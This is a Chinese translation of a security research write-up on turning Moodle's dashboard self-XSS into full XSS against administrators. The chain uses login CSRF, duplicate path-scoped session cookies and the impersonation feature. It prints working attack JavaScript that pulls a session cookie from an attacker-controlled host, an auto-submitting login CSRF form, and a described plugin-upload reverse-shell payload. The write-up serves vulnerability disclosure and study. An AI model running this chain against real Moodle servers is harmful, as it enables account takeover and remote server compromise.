原文地址:https://medium.com/@daniel.thatcher/obtaining-xss-using-moodle-features-and-minor-bugs-2035665989cc

由于Moodle允许用户在只对用户自己可见的仪表板中嵌入任意HTML,这就为self-XSS创造了条件。在这篇文章中,我们将会为读者详细介绍如何利用这种漏洞——设置具有限制路径的第二个会话cookie,并结合登录CSRF漏洞,通过Moodle的内置模拟功能来攻击其他用户。此前,攻击者利用self-XSS漏洞时,通常只能获得DOM的只读访问权限,但利用本文介绍的方法,则可以让JavaScript以受害用户的身份来运行,从而实现常规XSS的攻击效果。

下面的视频展示了如何通过攻击管理员,为攻击者的shell授予Moodle服务器的访问权限。在这个视频中,管理员只要点击了攻击者发送给的链接,那么,当他们再次使用同一浏览器登录其账户时,相应的JavaScript代码就会上传恶意插件,进而在Web服务器上为攻击者返回shell。

【请在此插入视频地址】
以管理员身份上传恶意插件

简介

不久前,我发现了一些将self-XSS与其他漏洞综合利用技术,所以,当我在Moodle安全声明中看到以下安全问题时,立刻引起了我的兴趣:

通过身份验证的用户[sic]可以向仪表板添加含有脚本的HTML块,这通常不是安全问题,因为个人仪表板仅对该用户可见。

虽然这是一个正常的特性,而非存储型self-XSS漏洞,但有时候两者其实是等效的,例如,当用户能够插入在目标域的上下文中运行的任意HTML和JavaScript代码,并且它们只在用户自己的浏览器中呈现的时候。

如果登录表单也没有提供CSRF保护的话,那么,就可以利用本文介绍的技术来获得受害用户能够查看的任何页面的只读访问权限。不过,这种攻击效果并不是太理想,所以,我需要设法把它变成一个“正经八百”的XSS漏洞,以便能够以受害者身份来运行任意的JavaScript代码。

双会话Cookie

我提出的方法利用了PHP和浏览器对于多个具有相同名称的cookie的处理方式。

PHP

根据我的观察,向Moodle发送请求时,如果在一个请求中包含两个会话cookie的话,它会使用位于Cookie头部中的第一个会话cookie,而忽略第二个会话cookie。因此,在下面的请求中,以粗体突出显示的会话cookie将用于标识登录用户的身份,而同名的另一个会话cookie则被忽略:

GET /my/ HTTP/1.1
...
Cookie: MoodleSession=0ab0af2b5369369af1fae6b097cf64f7; MoodleSession=d879cda2c1b27a4eefa02e7a48a63d73

这是PHP处理多个cookie的方式所致:在$_COOKIE超全局变量中只会保存第一个cookie。

浏览器

Chrome和Firefox浏览器可以生成包含多个重名的cookie的请求,前提是它们位于不同的路径,并且cookie的值也不相同,就像上面的请求那样。因此,假设在浏览器中设置了两个cookie:

  • 其中,一个cookie名为MoodleSession,其路径为/,存放的是与Alice的账户相关联的会话标识符;
  • 另一个cookie也名为MoodleSession,不过路径为/my/,存放的是与Bob的账户相关联的会话标识符。

这样,对于指向/my/之外的路径的请求时,只会发送Alice的会话cookie,而针对/my/路径的请求,会同时发送两个会话cookie(/my/是Moodle用户仪表板的路径)。由此看来,Chrome和Firefox都会优先发送路径限制更多的cookie,因此,Bob的会话cookie将第一个发送,因此,当该浏览器请求/my/时,Moodle会使用Bob的会话cookie。所以,该浏览器的用户访问Moodle时,他们看到的内容与以Alice的身份登录时看到的一样,只有访问/my/时除外,这时看到的是Bob的仪表板。

漏洞利用

如果将登录表单上的CSRF漏洞以及双会话cookie的特殊行为结合起来,我们就能够使用嵌入在仪表板上的JavaScript代码来攻击其他用户。我的实验环境是一个安装在http://moodle.lab.local上的Moodle系统,它包含一个名为admin的管理员账户,以及一个攻击者可以访问的低特权账户:attacker。此外,还有一个处于攻击者控制之下的服务器,位于attacker.lab.local。所有用到的文件都可以从这个GitHub存储库中下载。

1.设置cookie

首先,攻击者在其仪表板中嵌入一个脚本,例如上面GitHub存储库中的脚本,其中部分代码如下所示。这项工作并不难,只需添加新的HTML块即可,并且,还可以借助于拦截代理(如BurpSuite)。

// Target site, without a trailing slash
let moodleRoot = "http://moodle.lab.local";

// Attacker site without a trailing slash
let attackerRoot = "http://attacker.lab.local";

// Use the "poisoned" cookie to tell if the first stage has been completed
if (!document.cookie.includes("poisoned")) { // First stage
    let callback = function() {
        let attackerCookie = this.responseText;
        document.cookie = "MoodleSession=" + attackerCookie + "; path=/my/; expires=Thu, 31 Dec 2020 01:00:00 UTC;";
        document.cookie = "poisoned=1; path=/my/; expires=Thu, 31 Dec 2020 01:00:00 UTC;";

        // Have to logout now as can't clear cookie
        let logoutURL = document.querySelector("a[data-title='logout,moodle']").href;
        document.location.replace(logoutURL);
    };

    // Send off for attacker's cookie
    let req = new XMLHttpRequest();
    req.addEventListener("load", callback);
    req.open("GET", `${attackerRoot}/cookie.php`);
    req.send();

} else { // Second stage
  ...

moodle.js脚本

该脚本会检查是否在浏览器中设置了名为poisoned的cookie。如果没有的话,就设置该cookie,并利用cookie.php脚本请求attacker账户的会话cookie,然后将其放入路径为/my/、名为MoodleSession的cookie中。然后,该脚本会注销attacker账户,这不会导致新设置的会话cookie失效,因为相关请求的路径是指向/my/之外的。

如果存在中毒的cookie,该脚本将执行最终的XSS payload,这一点将在稍后讨论。

2.攻击方法

然后,攻击者可以通过一个简单的登录CSRF payload(比如下面让受害者登录到attacker账户的payload)来攻击目标用户(在本例中是admin账户的所有者)。

<html>
  <body>
    <form action="http://moodle.lab.local/login/index.php" method="POST" id="loginform">
      <input type="hidden" name="anchor" value="" />
      <input type="hidden" name="username" value="attacker" />
      <input type="hidden" name="password" value="Password1!" />
    </form>
    <script>
      document.getElementById("loginform").submit();
    </script>
  </body>
</html>

强制用户登录到“attacker”账户的登录CSRF payload。

这将导致受害者查看攻击者账户的仪表板,并在浏览器中运行的前面的脚本。然后,受害者将在浏览器中设置有毒的cookie和隶属于attacker账户的会话cookie,路径为/my/,然后进行注销。

受害者下次使用同一浏览器登录admin账户时,他们能够正常浏览除仪表板之外的所有Moodle功能,包括管理面板。但是,通过/my/加载其仪表板时,将返回attacker账户的仪表板,其中含有上面的脚本代码。由于浏览器中存在中毒的cookie,因此,该脚本将执行第二阶段的攻击代码。

3. 最终的payload

在这里,弹出警报框也不会带来很大的影响,因为它会显示到attacker账户的仪表板上,而非显示到admin账户的仪表板上。由于我们仍然能够以管理员账户向管理面板发送请求,所以,我决定使用JavaScript来上传一个恶意插件。该插件将通过version.php文件为攻击者返回一个反向shell。

【请在此插入视频地址】
使用登录CSRF漏洞攻击管理员(与前面的视频相同)

读者可以从这里找到执行该操作的JavaScript,其作用是从攻击者的服务器上下载plugin.zip文件,并复制插件通过Web界面上传时需要发送的请求。

利用模拟功能

最初,Moodle只修复了登录表单上的CSRF漏洞,但攻击者仍然可以通过Moodle的模拟功能来利用这个漏洞。为此,攻击者可以设法让管理员模拟他们的账户,以让管理员查看攻击者的仪表板,这样就不必依赖登录CSRF漏洞了。然后,就可以使用相同的脚本来利用这个安全漏洞了。

【请在此插入视频地址】
利用模拟功能攻击管理员

点击收藏 | 1 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖